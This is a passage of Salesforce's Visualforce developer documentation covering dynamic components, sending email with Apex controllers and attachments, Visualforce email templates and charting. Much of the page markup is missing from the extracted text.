'; Defining Facets Similar to the way expressions are defined, facets act as a special property available to dynamic components. Here’s an example: Component.Apex.DataTable myTable = new Component.Apex.DataTable(var='item'); myDT.expressions.value = '{!items}'; ApexPages.Component.OutputText header = new Component.Apex.OutputText(value='This is My Header'); myDT.facets.header = header; For more information on facets, see Best Practices for Using Component Facets on page 258. Defining Child Nodes You can add child nodes to a dynamic Visualforce component using the childComponents property. The childComponents property acts as a reference to a List of Component.Apex objects. Here’s an example of how you can use childComponents to construct a with child input nodes: public Component.Apex.PageBlock getDynamicForm() { Component.Apex.PageBlock dynPageBlock = new Component.Apex.PageBlock(); 164 Dynamic Visualforce Components Example Using a Related List // Create an input field for Account Name Component.Apex.InputField theNameField = new Component.Apex.InputField(); theNameField.expressions.value = '{!Account.Name}'; theNameField.id = 'theName'; Component.Apex.OutputLabel theNameLabel = new Component.Apex.OutputLabel(); theNameLabel.value = 'Rename Account?'; theNameLabel.for = 'theName'; // Create an input field for Account Number Component.Apex.InputField theAccountNumberField = new Component.Apex.InputField(); theAccountNumberField.expressions.value = '{!Account.AccountNumber}'; theAccountNumberField.id = 'theAccountNumber'; Component.Apex.OutputLabel theAccountNumberLabel = new Component.Apex.OutputLabel(); theAccountNumberLabel.value = 'Change Account #?'; theAccountNumberLabel.for = 'theAccountNumber'; // Create a button to submit the form Component.Apex.CommandButton saveButton = new Component.Apex.CommandButton(); saveButton.value = 'Save'; saveButton.expressions.action = '{!Save}'; // Assemble the form components dynPageBlock.childComponents.add(theNameLabel); dynPageBlock.childComponents.add(theNameField); dynPageBlock.childComponents.add(theAccountNumberLabel); dynPageBlock.childComponents.add(theAccountNumberField); dynPageBlock.childComponents.add(saveButton); return dynPageBlock; } If your markup is defined as: Then your markup is equivalent to the following static markup: Notice that the order of elements in the equivalent static markup is the order in which the dynamic components were added to childComponents, not the order in which they were declared in the Apex code of the getDynamicForm method. Example Using a Related List Dynamic Visualforce components are best used when you don’t know the type of object you want to reference, as opposed to dynamic Visualforce bindings, which are best used when you don’t know the fields you want to access. 165 Dynamic Visualforce Components Example Using a Related List The following scenario for using dynamic Visualforce constructs a simple, reusable page with a known set of fields you want to access. The page and its custom object are placed into an unmanaged package and distributed throughout the same organization. First, create a custom object called Classroom. Create two objects—one named Science 101 and another named Math 201, as this figure shows: Next, create two more custom objects called Student and Teacher. After you finish creating each object: 1. 2. 3. 4. Click New under Custom Fields & Relationships. Select Master-Detail Relationship, then click Next. Select Classroom from the drop-down list, then click Next. Continue to click Next, leaving all the default values intact. Create the following objects and matching relationships: • • A new Student named Johnny Walker, and a new Teacher named Mister Pibb, both assigned to Science 101. Another new Student named Boont Amber, and a new Teacher named Doctor Pepper, both assigned to Math 201. Now, create a new Apex page called DynamicClassroomList and paste the following code: public class DynamicClassroomList { private private private private ApexPages.StandardSetController controller; PageReference savePage; Set unSelectedNames; Set selectedNames; public List selected { get; set; } public List unselected { get; set; } public String objId { get; set; } public List displayObjs { get; private set; } boolean idIsSet = false; public DynamicClassroomList() { init(); } public DynamicClassroomList(ApexPages.StandardSetController con) { this.controller = con; init(); } private void init() { savePage = null; unSelectedNames = new Set(); 166 Dynamic Visualforce Components Example Using a Related List selectedNames = new Set(); if (idIsSet) { ApexPages.CurrentPage().getParameters().put('id', objId); idIsSet = false; } } public PageReference show() { savePage = Page.dynVFClassroom; savePage.getParameters().put('id', objId); return savePage; } public List displayObjsList { get { List options = new List(); List classrooms = [SELECT id, name FROM Classroom__c]; for (Classroom__c c: classrooms) { options.add(new SelectOption(c.id, c.name)); } return options; } } public PageReference customize() { savePage = ApexPages.CurrentPage(); savePage.getParameters().put('id', objId); return Page.dynamicclassroomlist; } // The methods below are for constructing the select list public List selectedOptions { get { List sorted = new List(selectedNames); sorted.sort(); List options = new List(); for (String s: sorted) { options.add(new SelectOption(s, s)); } return options; } } public List unSelectedOptions { get { Schema.DescribeSObjectResult R = Classroom__c.SObjectType.getDescribe(); List C = R.getChildRelationships(); List options = new List(); for (Schema.ChildRelationship cr: C) { String relName = cr.getRelationshipName(); // We're only interested in custom relationships if (relName != null && relName.contains('__r')) { options.add(new SelectOption(relName, relName)); } } return options; } } public void doSelect() { 167 Dynamic Visualforce Components Example Using a Related List for (String s: selected) { selectedNames.add(s); unselectedNames.remove(s); } } public void doUnSelect() { for (String s: unselected) { unSelectedNames.add(s); selectedNames.remove(s); } } public Component.Apex.OutputPanel getClassroomRelatedLists() { Component.Apex.OutputPanel dynOutPanel= new Component.Apex.OutputPanel(); for(String id: selectedNames) { Component.Apex.RelatedList dynRelList = new Component.Apex.RelatedList(); dynRelList.list = id; dynOutPanel.childComponents.add(dynRelList); } return dynOutPanel; } } After trying to save, you may be prompted about a missing Visualforce page. Click the link to create the page: the next blocks of code will populate it. Create a Visualforce page called dynVFClassroom and paste the following code: Finally, create a page called DynamicClassroomList. If you’ve been following this tutorial from the beginning, you should have already created this page when constructing your controller extension. Paste in the following code:
168 Dynamic Visualforce Components Example Using a Related List

This is the page that presents the user with the option of selecting which object relationships to display. Notice that the “selected” and “unselected” lists are populated through dynamic means. After assembling the controller extension and these pages, navigate to /apex/dynVFClassroom in your organization. You’ll see a sequence similar to the following: 169 Dynamic Visualforce Components Example Using a Related List 170 Chapter 14 Integrating Email with Visualforce Visualforce can be used to send email to any of your contacts, leads, or other recipients. It is also possible to create reusable email templates that take advantage of Visualforce's ability to iterate over your Salesforce records. The following topics explain how: Sending an Email with Visualforce Visualforce Email Templates • • Sending an Email with Visualforce It is possible to send email using Visualforce by creating a custom controller to deliver the message. The Apex Messaging.SingleEmailMessage class handles the outbound email functionality available to Salesforce. The following topics demonstrate a number of features available when sending email through Visualforce: • • Creating a Custom Controller with the Messaging Class Creating an Email Attachment Creating a Custom Controller with the Messaging Class At minimum, a custom controller that uses the Apex Messaging namespace needs a subject, a body, and a recipient for the email. You will need a page that acts as a form to fill out the subject and body and deliver the email. Create a new page called sendEmailPage and use the following code:

Fill out the fields below to test how you might send an email to a user.


Name {!contact.Name} Email {!contact.Email}

171 Integrating Email with Visualforce Creating a Custom Controller with the Messaging Class :


:



Notice in the page markup that the account ID is retrieved from the URL of the page. For this example to render properly, you must associate the Visualforce page with a valid account record in the URL. For example, if 001D000000IRt53 is the account ID, the resulting URL should be: https://Salesforce_instance/apex/sendEmailPage?id=001D000000IRt53 Displaying Field Values with Visualforce on page 19 has more information about retrieving the ID of a record. The following code creates a controller named sendEmail that implements the Messaging.SingleEmailMessage class, and uses the contacts related to an account as recipients: public class sendEmail { public String subject { get; set; } public String body { get; set; } private final Account account; // Create a constructor that populates the Account object public sendEmail() { account = [select Name, (SELECT Contact.Name, Contact.Email FROM Account.Contacts) from Account where id = :ApexPages.currentPage().getParameters().get('id')]; } public Account getAccount() { return account; } public PageReference send() { // Define the email Messaging.SingleEmailMessage email = new Messaging.SingleEmailMessage(); String addresses; if (account.Contacts[0].Email != null) { addresses = account.Contacts[0].Email; // Loop through the whole list of contacts and their emails for (Integer i = 1; i < account.Contacts.size(); i++) { if (account.Contacts[i].Email != null) { addresses += ':' + account.Contacts[i].Email; } } } String[] toAddresses = addresses.split(':', 0); // Sets the paramaters of the email email.setSubject( subject ); email.setToAddresses( toAddresses ); email.setPlainTextBody( body ); 172 Integrating Email with Visualforce Creating a Custom Controller with the Messaging Class // Sends the email Messaging.SendEmailResult [] r = Messaging.sendEmail(new Messaging.SingleEmailMessage[] {email}); return null; } } Notice in the controller that: • • • The subject and body of the email are set through a separate Visualforce page and passed into the controller. The method that sends the email is called send(). This name must match the name of the action for the Visualforce button that sends the email. The recipients of the email, that is, the email addresses stored in toAddresses[], come from the addresses of the contacts available in an associated account. When compiling a list of recipients from contacts, leads, or other records, it is a good practice to loop through all the records to verify that an email address is defined for each. The account ID is retrieved from the URL of the page. Figure 25: Example of the Form on sendEmailPage See Also: "Outbound Email" in the Force.com Apex Code Developer's Guide 173 Integrating Email with Visualforce Creating an Email Attachment Creating an Email Attachment If you want to add an attachment to your email, you will need to add only a few lines of code to your custom controller. Email attachments are Blob file types. To create an attachment, you need to use the Apex Messaging.EmailFileAttachment class. You must define both the file name and the content of an EmailFileAttachment object. Adding a PDF Attachment The following example demonstrates how to transform a PageReference to a Visualforce page rendered as a PDF into an email attachment. First, create a page called attachmentPDF:

Account Details

Note: See Best Practices for Rendering PDFs on page 261 for details of which components are recommended for use in PDF attachments. Next, create the EmailFileAttachment object in the send() method of your custom controller. The following examples must be placed before calling Messaging.sendEmail: // Reference the attachment page, pass in the account ID PageReference pdf = Page.attachmentPDF; pdf.getParameters().put('id',(String)account.id); pdf.setRedirect(true); // Take the PDF content Blob b = pdf.getContent(); // Create the email attachment Messaging.EmailFileAttachment efa = new Messaging.EmailFileAttachment(); efa.setFileName('attachment.pdf'); efa.setBody(b); If your SingleEmailMessage object is named email, then you associate the attachment like this: email.setFileAttachments(new Messaging.EmailFileAttachment[] {efa}); 174 Integrating Email with Visualforce Creating an Email Attachment Defining a Custom Component as an Attachment By creating a custom component and using it on the Visualforce email form and to render the PDF for the email, users can see a preview of the content they are trying to send. The following markup defines a custom component named attachment that represents the attachment for the email:

Account Details

Replace your attachmentPDF page like this: Then add the custom component to render at the bottom of your previous sendEmailPage: If you want to make changes to both the attachment and the preview, the attachment custom component needs to be modified in only one location. Example: Sending an Email with an Attachment The following example shows the previous sendEmail example with a custom component that adds a Visualforce page as an attachment. First, the controller: public class sendEmail { public String subject { get; set; } public String body { get; set; } private final Account account; // Create a constructor that populates the Account object public sendEmail() { account = [SELECT Name, (SELECT Contact.Name, Contact.Email FROM Account.Contacts) FROM Account WHERE Id = :ApexPages.currentPage().getParameters().get('id')]; 175 Integrating Email with Visualforce Creating an Email Attachment } public Account getAccount() { return account; } public PageReference send() { // Define the email Messaging.SingleEmailMessage email = new Messaging.SingleEmailMessage(); // Reference the attachment page and pass in the account ID PageReference pdf = Page.attachmentPDF; pdf.getParameters().put('id',(String)account.id); pdf.setRedirect(true); // Take the PDF content Blob b = pdf.getContent(); // Create the email attachment Messaging.EmailFileAttachment efa = new Messaging.EmailFileAttachment(); efa.setFileName('attachment.pdf'); efa.setBody(b); String addresses; if (account.Contacts[0].Email != null) { addresses = account.Contacts[0].Email; // Loop through the whole list of contacts and their emails for (Integer i = 1; i < account.Contacts.size(); i++) { if (account.Contacts[i].Email != null) { addresses += ':' + account.Contacts[i].Email; } } } String[] toAddresses = addresses.split(':', 0); // Sets the paramaters of the email email.setSubject( subject ); email.setToAddresses( toAddresses ); email.setPlainTextBody( body ); email.setFileAttachments(new Messaging.EmailFileAttachment[] {efa}); // Sends the email Messaging.SendEmailResult [] r = Messaging.sendEmail(new Messaging.SingleEmailMessage[] {email}); return null; } } Next, the Visualforce page that sends the email:

Fill out the fields below to test how you might send an email to a user.

Name {!contact.Name} Email 176 Integrating Email with Visualforce Visualforce Email Templates {!contact.Email}

:


:


See Also: "EmailFileAttachment Methods" in the Force.com Apex Code Developer's Guide Visualforce Email Templates Developers and administrators can use Visualforce to create email templates. The advantage of using Visualforce over standard HTML email templates is that Visualforce gives you the ability to perform advanced operations on data that is sent to a recipient. Although Visualforce email templates use standard Visualforce components, they are not created in the same way. Visualforce email templates always use components that are prefaced with the messaging namespace. In addition: • • • All Visualforce email templates must be contained within a single tag. This is analogous to regular Visualforce pages being defined within a single tag. The tag must contain either a single tag or a single tag. Several standard Visualforce components are not available for use within . These include , and all related pageBlock components, and all input components such as . If you attempt to save a Visualforce email template with these components, an error message displays. The following topics provide more details: • • • • Creating a Visualforce Email Template Using a Custom Stylesheet in a Visualforce Email Template Adding Attachments Using Custom Controllers within Visualforce Email Templates 177 Integrating Email with Visualforce Creating a Visualforce Email Template Creating a Visualforce Email Template To create a Visualforce email template: 1. Click Your Name > Setup > Email > My Templates. If you have permission to edit public templates, click Your Name > Setup > Communication Templates > Email Templates. 2. Click New Template. 3. Choose Visualforce and click Next. You can’t send a mass email using a Visualforce email template. 4. 5. 6. 7. Choose a folder in which to store the template. Select the Available For Use checkbox if you would like this template offered to users when sending an email. Enter an Email Template Name. If necessary, change the Template Unique Name. This is a unique name used to refer to the component when using the Force.com API. In managed packages, this unique name prevents naming conflicts on package installations. This name can contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. With the Template Unique Name field, a developer can change certain components’ names in a managed package and the changes are reflected in a subscriber’s organization. 8. Select an Encoding setting to determine the character set for the template. 9. Enter a Description of the template. Both template name and description are for your internal use only. 10. Enter the subject line for your template in Email Subject. 11. In the Recipient Type drop-down list, select the type of recipient that will receive the email template. 12. In the Related To Type drop-down list, optionally select the object from which the template will retrieve merge field data. 13. Click Save. 14. On the Viewing Email Templates page, click Edit Template. 15. Enter markup text for your Visualforce email template. Note: If you are including an image, we recommend uploading it to the Documents tab so that you can reference the copy of the image that is on our server. For example:
Case NumberOrigin Creator EmailStatus
{!cx.CaseNumber} {!cx.Origin} {!cx.Contact.email} {!cx.Status}

For more detailed information login to Salesforce.com
Notice the following about the markup: • • • The attributes recipientType and relatedToType act as controllers for the email template. With them you can access the same merge fields that are available to other standard controllers. The recipientType attribute represents the recipient of the email. The relatedToType attribute represents the record to associate with the email. The component can include a mix of Visualforce markup and HTML. The component can only include Visualforce markup and plain text. To translate Visualforce email templates based on recipients' or related objects' languages, use the tag's language attribute (valid values: Salesforce supported language keys, for example, “en-US”). The language attribute accepts merge fields from the email template's recipientType and relatedToType 179 Integrating Email with Visualforce Using a Custom Stylesheet in a Visualforce Email Template attributes. You create custom language fields for use in the merge fields. The Translation Workbench is required to translate email templates. The example uses a merge field to obtain a language attribute for the contact receiving the email. See Also: Using a Custom Stylesheet in a Visualforce Email Template Using a Custom Stylesheet in a Visualforce Email Template By default, Visualforce email templates always use the standard look and feel of other Salesforce components. However, you can extend or overwrite these styles by defining your own stylesheet. Unlike other Visualforce pages, Visualforce email templates cannot use referenced page styles or static resources. Although the CSS appears to render in the email template preview pane, it does not appear the same to the recipients of your email. You must define your style using CSS within

Dear {!recipient.name},

180 Integrating Email with Visualforce Using a Custom Stylesheet in a Visualforce Email Template
Case NumberOrigin Creator EmailStatus
{!cx.CaseNumber} {!cx.Origin} {!cx.Contact.email} {!cx.Status}
Figure 26: Example of the Rendered Visualforce Email Template Defining Visualforce Stylesheets in a Custom Component Although you cannot reference an external stylesheet in a Visualforce email template, you can place the style definitions within a custom component that can be referenced in other places. For example, you can modify the previous example to place the style information in a component named EmailStyle: Then, in the Visualforce email template, you can reference just that component:

Dear {!recipient.name},

...
Note: Any tags used within a Visualforce email template must have an access level of global. Adding Attachments You have the ability to add attachments to your Visualforce email templates. Each attachment must be encapsulated within a single component. Code within can be a combination of HTML and Visualforce tags. The previous example shows how to create a Visualforce email template by iterating through some data and displaying it to an email recipient. This example shows how to modify that markup to display the data as an attachment:

Dear {!recipient.name},

Attached is a list of cases related to {!relatedTo.name}.

For more detailed information login to Salesforce.com
182 Integrating Email with Visualforce Adding Attachments
Case Number: {!cx.CaseNumber} Origin: {!cx.Origin} Creator Email: {!cx.Contact.email} Case Number: {!cx.Status}
This markup renders in an email as an attached data file, without any formatting. You can display the data in a more readable format by using one of the following options: • • • Changing the Filename Changing the renderAs Attribute Adding Styles and Images Changing the Filename The tag has an attribute called filename that defines the name of the attached file. While it is good practice to define an easily identifiable name, it is not required. If you leave it undefined, Salesforce generates a name for you. A filename without an extension defaults to a text file. You can render an attached file as a CSV: {!cx.CaseNumber} {!cx.Origin} {!cx.Contact.email} {!cx.Status} You can also render the data as an HTML file:
Case NumberOrigin Creator EmailStatus
{!cx.CaseNumber} {!cx.Origin} {!cx.Contact.email} {!cx.Status}
183 Integrating Email with Visualforce Adding Attachments Although you can only define one filename for every component, you can attach multiple files to an email. Changing the renderAs Attribute Similar to other Visualforce pages, setting the renderAs attribute to PDF on a component renders the attachment as a PDF. For example:

You can display your {!relatedTo.name} cases as a PDF:

Case NumberOrigin Creator EmailStatus
{!cx.CaseNumber} {!cx.Origin} {!cx.Contact.email} {!cx.Status}
Things to note about using renderAs: • • • • • • Currently, PDF is the only supported content converter. Rendering a Visualforce page as a PDF is intended for pages that are designed and optimized for print. Standard components which are not easily formatted for print or contain form elements like inputs, buttons, and any component that requires JavaScript to be formatted, shouldn’t be used. This includes but isn’t limited to any component that requires a form element. PDF rendering doesn’t support JavaScript-rendered content. Verify the format of your rendered page before deploying it. If the PDF fails to display all the characters, adjust the fonts in your CSS to use a font that supports your needs. For example: This page is rendered as a PDF • • • • The maximum response size when creating a PDF must be below 15 MB, before being rendered as a PDF. This is the standard limit for all Visualforce requests. The maximum file size for a generated PDF is 60 MB. The total size of all images included in a generated PDF is 30 MB. PDF rendering doesn’t support images encoded in the data: URI scheme format. 184 Integrating Email with Visualforce • Using Custom Controllers within Visualforce Email Templates Note that the following components do not support double-byte fonts when rendered as a PDF: ◊ These components are not recommended for use in pages rendered as a PDF. For more information, see Best Practices for Rendering PDFs on page 261. Adding Styles and Images Attachments can also use stylesheets to change the way your data is presented. Styles are associated with attachments the same way as they are in Visualforce email templates, either as inline code, or by using a custom component. Attachments rendered as PDFs can reference static resources through the $Resource global variable. This enables you to refer to an image or stylesheet within the body of the PDF. For example, the following attachment includes a logo in the PDF: ... This attachment references a stylesheet you have saved as a static resource: ... Warning: Referencing static resources on a remote server can increase the time it takes to render a PDF attachment. You can’t reference remote resources when creating PDF attachments in an Apex trigger; doing so will result in an exception. Using Custom Controllers within Visualforce Email Templates Visualforce email templates can leverage custom controllers to render highly customized content. To do so, include a custom component in a Visualforce email template that uses that custom controller. For example, suppose you want to display a list of all accounts beginning with the word “Smith” in an email template. To do this, first write a custom controller that uses a SOSL call to return a list of accounts that begin with “Smith”: public class findSmithAccounts { private final List accounts; public findSmithAccounts() { accounts = [select Name from Account where Name LIKE 'Smith_%']; } 185 Integrating Email with Visualforce Using Custom Controllers within Visualforce Email Templates public List getSmithAccounts() { return accounts; } } Next, create a custom component named smithAccounts that uses this controller: Account Name {!s_account.Name} Tip: Remember that all custom components used in Visualforce email templates must have an access level of global. Finally, create a Visualforce email template that includes the smithAccounts component:

As you requested, here's a list of all our Smith accounts:

Hope this helps with the {!relatedToType}.

Notice that although the relatedToType attribute is required by the emailTemplate component, it does not have any effect on this example. It has the value of "Opportunity" only to show that it can take an object value that is different than the object used in the custom component. 186 Chapter 15 Visualforce Charting Visualforce charting is a collection of components that provide a simple and intuitive way to create charts in your Visualforce pages and custom components. What is Visualforce Charting? Visualforce charting gives you an easy way to create customized business charts, based on data sets you create directly from SOQL queries, or by building the data set in your own Apex code. By combining and configuring individual data series, you can compose charts that display your data in ways meaningful to your organization. Visualforce charts are rendered client-side using JavaScript. This allows charts to be animated and visually exciting, and chart data can load and reload asynchronously, which can make the page feel more responsive. Why Would You Use Visualforce Charting? Use Visualforce charting when the standard Salesforce charts and dashboards are insufficient, or when you wish to compose custom pages that combine charts and data tables in ways that are more useful to your organization. Alternatives to Visualforce Charting Salesforce provides a number of dashboards and reports, which support a variety of business charts. These charts can be simpler to create and customize because they do not require programming in Visualforce or Apex. See “Share Insights with Dashboards” in the online help for more details about built-in charting and reporting. Visualforce charting is designed to be flexible, but also easy to use. It offers variations on bar, line, area, and pie charts commonly used in business graphics, as well as radar, gauge, and scatter charts for more specialized charting. If you need different chart types, or want to add advanced user or page interactions, you might want to investigate using a JavaScript charting library instead. This is more work, but allows greater customization. For example, see Integrating Visualforce and Google Charts on page 114. Using JavaScript in Visualforce Pages on page 244 provides more information about how to use JavaScript libraries with Visualforce. Visualforce Charting Limitations and Considerations This section lists considerations and known limitations for Visualforce Charting. • • • • Visualforce charts only render in browsers which support scalable vector graphics (SVG). For more information, see WC3 SVG Working Group. Visualforce charting uses JavaScript to draw the charts. Visualforce charts won’t display in pages rendered as PDFs. Email clients do not usually support JavaScript execution in messages. Don’t use Visualforce charting in email messages or email templates. Visualforce charting sends errors and messages to the JavaScript console. Keep a JavaScript debugging tool, such as Firebug, active during development. 187 Visualforce Charting • How Visualforce Charting Works Dynamic (Apex-generated) charting components are not supported at this time. See Also: Visualforce Charting How Visualforce Charting Works Creating a chart with Visualforce requires the following: 1. Write an Apex method that queries for, calculates, and wraps your chart data to send to the browser. 2. Define your chart using the Visualforce charting components. When the page containing the chart loads, the chart data is bound to a chart component, and the JavaScript that draws the chart is generated. When the JavaScript executes, the chart is drawn in the browser. A Simple Charting Example A Visualforce chart requires that you create a chart container component, which encloses at least one data series component. You can optionally add additional series components, chart axes, as well as labeling components such as a legend, chart labels, and tooltips for data points. For example, here is a simple pie chart and the markup which creates it: The component defines the chart container, and binds the component to the data source, the getPieData() controller method. The describes the label and data fields to access in the returned data, to label and size each data point. Here’s the associated controller: public class PieChartController { public List getPieData() { List data = new List(); data.add(new PieWedgeData('Jan', 30)); 188 Visualforce Charting data.add(new data.add(new data.add(new data.add(new data.add(new return data; How Visualforce Charting Works PieWedgeData('Feb', PieWedgeData('Mar', PieWedgeData('Apr', PieWedgeData('May', PieWedgeData('Jun', 15)); 10)); 20)); 20)); 5)); } // Wrapper class public class PieWedgeData { public String name { get; set; } public Integer data { get; set; } public PieWedgeData(String name, Integer data) { this.name = name; this.data = data; } } } This controller is deliberately simple; you normally issue one or more SOQL queries to collect your data. These are the important points illustrated by the example: • • • The getPieData() method returns a List of simple objects, an inner class PieWedgeData used as a wrapper. Each element in the list is used to create a data point. The PieWedgeData class is just a set of properties, and is essentially used as a name=value store. The chart series component defines which properties from the PieWedgeData class to use to determine each point in the series. In this simple example there’s no mystery, but in charts with multiple series and axes this convention allows the efficient return of the entire data set in one List object. Providing Chart Data A Visualforce chart binds to the source of its data through the data attribute on the component. Data can be provided three different ways: • • • As an expression that represents a controller method reference As a string representing a JavaScript function As a string representing a JavaScript array Providing Chart Data via a Controller Method On the server side, write a controller method that returns a List of objects, which can be your own Apex wrapper objects as in A Simple Charting Example, sObjects, or AggregateResult objects. The method is evaluated server-side, and the results serialized to JSON. On the client, these results are used directly by , with no further opportunity for processing. To illustrate this technique with sObjects, here is a simple controller that returns a list of Opportunities, and a bar chart for their amounts: public class OppsController { // Get a set of Opportunities public ApexPages.StandardSetController setCon { get { if(setCon == null) { setCon = new ApexPages.StandardSetController(Database.getQueryLocator( [SELECT name, type, amount, closedate FROM Opportunity])); setCon.setPageSize(5); } return setCon; } 189 Visualforce Charting How Visualforce Charting Works set; } public List getOpportunities() { return (List) setCon.getRecords(); } } There are two important things to notice about this example: • • The Visualforce chart components access the data attributes from a List of Opportunity sObjects the same way as from the simple Data object used in A Simple Charting Example. The object field names used as data attributes are case-sensitive in JavaScript while field names in Apex and Visualforce are case-insensitive. Be careful to use the precise field name in the fields, xField, and yField attributes of axes and data series components, or your chart will silently fail. Providing Chart Data Using a JavaScript Function Instead of feeding data directly into the chart, you can provide the component with the name of a JavaScript function that provides the data. The actual JavaScript function is defined in or linked from your Visualforce page. This function has the opportunity to manipulate the results before passing it to , or to perform other user interface or page updates. The JavaScript function must take a callback function as a parameter, and invoke the callback with the function's data result object. The simplest working JavaScript function looks like this: To support this chart, add the following controller method to the PieChartController class defined in A Simple Charting Example: @RemoteAction public static List getRemotePieData() { List data = new List(); data.add(new PieWedgeData('Jan', 30)); data.add(new PieWedgeData('Feb', 15)); data.add(new PieWedgeData('Mar', 10)); data.add(new PieWedgeData('Apr', 20)); data.add(new PieWedgeData('May', 20)); data.add(new PieWedgeData('Jun', 5)); return data; } See JavaScript Remoting for Apex Controllers on page 246 for more information about using JavaScript remoting in Visualforce. Providing Chart Data via a JavaScript Array You can use Visualforce charting with non-Salesforce data sources by building a JavaScript array, in your own JavaScript code in your page, and providing the name of that array to . When using this technique, if your data is coming from another source you may not need any server-side Apex code at all. Chart Data Format Chart data provided by an Apex method should be a List of uniform objects. These objects may be simple wrappers, sObjects, or AggregateResult objects. Every object in the List must contain all fields referenced in the component hierarchy that is bound to that data source. If all fields aren’t provided, a client-side JavaScript error is thrown, which you can view in a JavaScript console such as Firebug. Chart data provided by JavaScript methods should be a JavaScript array of arrays. See Providing Chart Data via a JavaScript Array on page 191 for details. See Also: Building a Complex Chart with Visualforce Charting 191 Visualforce Charting Building a Complex Chart with Visualforce Charting Building a Complex Chart with Visualforce Charting Use Visualforce charting to assemble a variety of chart components into a complex chart that represents multiple sets of related data. The end result can be quite sophisticated and attention getting. The Chart Controller The examples later in this topic use the following controller, which is a modest expansion of the controller in A Simple Charting Example. It includes more data, and methods that can be called by remote JavaScript invocation: public class ChartController { // Return a list of data points for a chart public List getData() { return ChartController.getChartData(); } // Make the chart data available via JavaScript remoting @RemoteAction public static List getRemoteData() { return ChartController.getChartData(); } // The actual chart data; needs to be static to be // called by a @RemoteAction method public static List getChartData() { List data = new List(); data.add(new Data('Jan', 30, 90, 55)); data.add(new Data('Feb', 44, 15, 65)); data.add(new Data('Mar', 25, 32, 75)); data.add(new Data('Apr', 74, 28, 85)); data.add(new Data('May', 65, 51, 95)); data.add(new Data('Jun', 33, 45, 99)); data.add(new Data('Jul', 92, 82, 30)); data.add(new Data('Aug', 87, 73, 45)); data.add(new Data('Sep', 34, 65, 55)); data.add(new Data('Oct', 78, 66, 56)); data.add(new Data('Nov', 80, 67, 53)); data.add(new Data('Dec', 17, 70, 70)); return data; } // Wrapper class public class Data { public String name { get; set; } public Integer data1 { get; set; public Integer data2 { get; set; public Integer data3 { get; set; public Data(String name, Integer this.name = name; this.data1 = data1; this.data2 = data2; this.data3 = data3; } } } } } data1, Integer data2, Integer data3) { } Note: The @RemoteAction method isn’t used in the chart examples in this topic, but it illustrates how you could re-use your data generation method for both server-side and JavaScript remoting methods. 192 Visualforce Charting Building a Complex Chart with Visualforce Charting Creating a Simple Line Chart Here is a simple line chart that graphs one of the three data series in the data set, “Opportunities Closed-Won”, over a calendar year: Things to note about this example: • • • • • Line and bar charts require you to define the X and Y axes for the chart. The vertical axis is defined on the left side of the chart, and measures the dollar amount of the Opportunities closed in that month. The horizontal axis is defined on the bottom of the chart, and represents the months of the calendar year. The actual line chart, the component, is bound to a specific axis. There are a number of marker attributes which you can use to differentiate each line in the chart. Adding a Second Data Series Adding a second data series with the same unit of measure is simple. Here, the “Opportunities Closed-Lost” data set is added as a second line series: 193 Visualforce Charting Building a Complex Chart with Visualforce Charting The important thing to note is how both data1 and data2 fields are bound to the vertical by the fields attribute of that component. This allows the charting engine to determine appropriate scale and tick marks for the axis. Adding a Bar Chart Series with a Second Axis To add another data series, but charted against a different set of units, you need to add a second vertical axis. The following example shows a data series, “Revenue by Month”, added as a bar chart: Notice the following: • • • To add a data series with a new unit of measure, you need to add a second vertical axis on the right side of the chart. You can have up to four different axes, one for each edge of the chart. The bar chart is set to a vertical orientation and bound to the right axis. Bind a horizontal bar chart to the top or bottom axis. Adding a Legend, Labels, and Chart Tips You can improve the comprehensibility of the chart by adding a chart legend, series labels, and by making sure that chart labels are readable: Note the following about the additions: • • • • • The order of the data series components determines the layering of the chart elements when drawn. In the prior example, the bar chart was in the foreground. In this example, the bar chart has been placed in the background because the component is before the two components. The component can be in any of four positions: left, right, top, or bottom. The legend is placed within the boundary of the chart; in this example the legend has compressed the horizontal width of the chart itself. Add legend titles using the data series component title attribute. To rotate the labels for the bottom chart axis, the component is enclosed in the component it affects. The component enables rollover tool tips that provide additional information about each data point in the series that encloses it. See Also: How Visualforce Charting Works Controlling the Appearance of Charts Visualforce charts are highly customizable. You can combine various types of data series, control the colors of most elements in a chart, and control the look of markers, lines, and so on. You can customize the following: • • • • • • • Line and fill colors for data series elements. Opacity of fill colors and lines. Marker shape and color for data points. Line width for connecting lines. Highlighting for data elements. Tick and grid line styles for axes. Legends, labels, and “tool tip”-style rollover annotations. Many of the components and attributes that provide this control are explained in the Standard Component Reference. Some effects require combinations of attributes and components, and are explained more completely in this document. Chart Colors By default, chart colors match those of the built-in reporting and analytics charts so that you can create visually-consistent dashboards. If you want to create your own color scheme you can customize the colors of most chart elements. To provide a set of color definitions to draw data series elements (bars, pie wedges, and so on), use the colorSet attribute. Set to specify the colors to be used for every data series in a chart. Set colorSet on a data series component to specify colors for that series only. 196 Visualforce Charting Chart Layout and Annotation A colorSet is a string that is a comma-delimited list of HTML-style hexadecimal color definitions. For example, colorSet="#0A224E,#BF381A,#A0D8F1,#E9AF32,#E07628". Colors are used in sequence. When the end of the list is reached, the sequence starts over at the beginning. Here’s a pie chart that uses a custom color scheme for the pie wedge colors: Use the background attribute to set a background color for the entire chart. You can use a colorSet with all data series components except . Additional colorSet details and further options for configuring colors of other chart elements are described for specific data series components. Chart Layout and Annotation To make your chart more understandable, add a legend, meaningful axes ranges and labels, and tips or labels on data elements. By default all charts have a legend. To suppress the default legend, set . To control the placement of the legend and the spacing of legend entries, add an component to the chart. Place the legend on any of the four edges of a chart using the position attribute. Use the font attribute to control the text style used in the legend. The font attribute is a string specifying a CSS-style shorthand font property. For example, . Appropriate axis scaling and labeling can mean the difference between a chart that is illegible or misleading and one that is clear and persuasive. By default, an component sets the scale automatically based on the data fields set in the fields attribute. Automatic scaling ensures that all data fits on the chart but the chart might not begin or end with meaningful numbers. Use the minimum and maximum attributes to override the automatic scaling. To set the interval for tick marks, use the steps attribute. This attribute is an integer that specifies the number of steps between the two ends of the axis. Use the dashSize, grid, and gridFill attributes to add lines or shading to the chart to make it easier to compare measurements to the scale. You can apply chart labels to axes and data series. When is a child of , the labels are drawn on the outside of the axis. When is a child of a data series component, the labels are drawn on or near the data elements on the chart. Use the field attribute to set the text for the label. Use the display attribute to set 197 Visualforce Charting Bar Charts where the label is drawn. Use the orientation and rotate attributes to adjust the text of the label so that it fits on the chart. Note: The orientation attribute has no effect when a component is used with a component. This sample chart uses many of these components and attributes to create a meaningful visual design: Bar Charts Bar charts are one of several 